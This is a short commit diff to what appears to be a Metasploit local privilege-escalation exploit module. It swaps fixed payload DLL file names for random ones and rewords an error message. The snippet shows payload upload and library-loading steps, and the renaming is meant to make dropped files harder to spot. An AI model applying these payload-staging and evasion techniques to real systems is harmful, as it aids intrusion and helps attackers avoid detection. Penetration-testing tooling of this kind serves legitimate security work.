A little randomness

bug/bundler_fix
sinn3r 2015-01-08 21:25:55 -06:00
parent eea6ccee1f
commit b7b3ae4d2a
1 changed files with 3 additions and 3 deletions

View File

@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Local
end
def upload_payload
payload_filepath = "#{temp}\\msf_payload.dll"
payload_filepath = "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
# Save the payload DLL's file path so the exploit can find it
set_filepath_env(payload_filepath)
@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Local
# Upload the payload
upload_payload_dll(payload_filepath)
if !file?(payload_filepath)
fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
end
end
@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local
session.core.load_library(
'LibraryFilePath' => lib_file_path,
'TargetFilePath' => "#{temp}\\ntapphelpcachecontrol.dll",
'TargetFilePath' => "#{temp}\\#{Rex::Text.rand_text_alpha(5)}.dll",
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false